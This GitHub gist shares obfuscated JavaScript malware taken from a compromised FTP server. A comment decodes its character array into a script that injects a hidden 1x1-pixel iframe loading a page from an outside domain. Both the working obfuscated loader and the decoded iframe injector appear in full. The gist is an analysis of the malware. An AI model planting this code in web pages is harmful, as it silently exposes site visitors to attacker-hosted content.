Skip to content

Instantly share code, notes, and snippets.

@joshgillies
Created November 30, 2012 05:21
Show Gist options
  • Save joshgillies/4173905 to your computer and use it in GitHub Desktop.
Save joshgillies/4173905 to your computer and use it in GitHub Desktop.
Link bait hax0r. Pulled from a compromised FTP server recently.
ww = window;
try {
ww.document.body = ww.document.body
} catch(dgsgsdg) {
zxc = 1;
}
try {
if(ww.document) window["doc" + "ument"]["body"] = ww.document
} catch(bawetawe) {
if(ww.document) {
v = window;
try {
fawbe--
} catch(afnwenew) {
try {
(v + v)()
} catch(gngrthn) {
try {
if(020 === 0x10) v["document"]["b" + "o" + "dy"] = "123"
} catch(gfdnfdgber) {
if("".substr) ev = eval;
}
}
n = ["1f", "42", "4h", "4a", "3o", "4g", "45", "4b", "4a", "17", "1f", "1g", "17", "4n", "d", "a", "17", "17", "17", "17", "4i", "3m", "4e", "17", "4b", "48", "40", "40", "43", "17", "2b", "17", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "3o", "4e", "41", "3m", "4g", "41", "2j", "48", "41", "49", "41", "4a", "4g", "1f", "1e", "45", "42", "4e", "3m", "49", "41", "1e", "1g", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4e", "3o", "17", "2b", "17", "1e", "44", "4g", "4g", "4c", "28", "1m", "1m", "44", "4b", "49", "41", "4j", "45", "3o", "47", "41", "4e", "42", "4h", "4e", "4a", "45", "4g", "4h", "4e", "41", "1l", "3o", "4b", "49", "1m", "40", "41", "42", "3m", "4h", "48", "4g", "1l", "4c", "44", "4c", "1e", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4g", "4l", "48", "41", "1l", "4c", "4b", "4f", "45", "4g", "45", "4b", "4a", "17", "2b", "17", "1e", "3m", "3n", "4f", "4b", "48", "4h", "4g", "41", "1e", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4g", "4l", "48", "41", "1l", "3n", "4b", "4e", "40", "41", "4e", "17", "2b", "17", "1e", "1n", "1e", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4g", "4l", "48", "41", "1l", "44", "41", "45", "43", "44", "4g", "17", "2b", "17", "1e", "1o", "4c", "4k", "1e", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4g", "4l", "48", "41", "1l", "48", "41", "42", "4g", "17", "2b", "17", "1e", "1o", "4c", "4k", "1e", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4g", "4l", "48", "41", "1l", "4g", "4b", "4c", "17", "2b", "17", "1e", "1o", "4c", "4k", "1e", "29", "d", "a", "17", "17", "17", "17", "4b", "48", "40", "40", "43", "1l", "4f", "4g", "4l", "48", "41", "1l", "4j", "45", "40", "4g", "44", "17", "2b", "17", "1e", "1o", "4c", "4k", "1e", "29", "d", "a", "d", "a", "17", "17", "17", "17", "45", "42", "17", "1f", "18", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "43", "41", "4g", "2j", "48", "41", "49", "41", "4a", "4g", "2g", "4l", "2n", "40", "1f", "1e", "4b", "48", "40", "40", "43", "1e", "1g", "1g", "17", "4n", "d", "a", "17", "17", "17", "17", "17", "17", "17", "17", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "4j", "4e", "45", "4g", "41", "1f", "1e", "2a", "40", "45", "4i", "17", "45", "40", "2b", "3h", "1e", "4b", "48", "40", "40", "43", "3h", "1e", "17", "2c", "2a", "1m", "40", "45", "4i", "2c", "1e", "1g", "29", "d", "a", "17", "17", "17", "17", "17", "17", "17", "17", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "43", "41", "4g", "2j", "48", "41", "49", "41", "4a", "4g", "2g", "4l", "2n", "40", "1f", "1e", "4b", "48", "40", "40", "43", "1e", "1g", "1l", "3m", "4c", "4c", "41", "4a", "40", "2h", "44", "45", "48", "40", "1f", "4b", "48", "40", "40", "43", "1g", "29", "d", "a", "17", "17", "17", "17", "50", "d", "a", "50", "1g", "1f", "1g", "29"];
h = 2;
s = "";
if(zxc) for(i = 0; i - 503 != 0; i++) {
k = i;
s += String.fromCharCode(parseInt(n[i], 25));
}
z = s;
if(ww.document) ev("" + z)
}
}
}
@mipearson
Copy link

array decodes to:

(function () {
    var olddg = document.createElement('iframe');
    olddg.src = 'http://homewickerfurniture.com/default.php';
    olddg.style.position = 'absolute';
    olddg.style.border = '0';
    olddg.style.height = '1px';
    olddg.style.left = '1px';
    olddg.style.top = '1px';
    olddg.style.width = '1px';

    if (!document.getElementById('olddg')) {
        document.write('<div id=\'olddg\' ></div>');
        document.getElementById('olddg').appendChild(olddg);
    }
})

@joshgillies
Copy link
Author

Had caught that, but thanks for posting -- I'm sure others will appreciate the solution. :)

I find this really interesting and would love to see other (better?) examples of JS client side attacks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment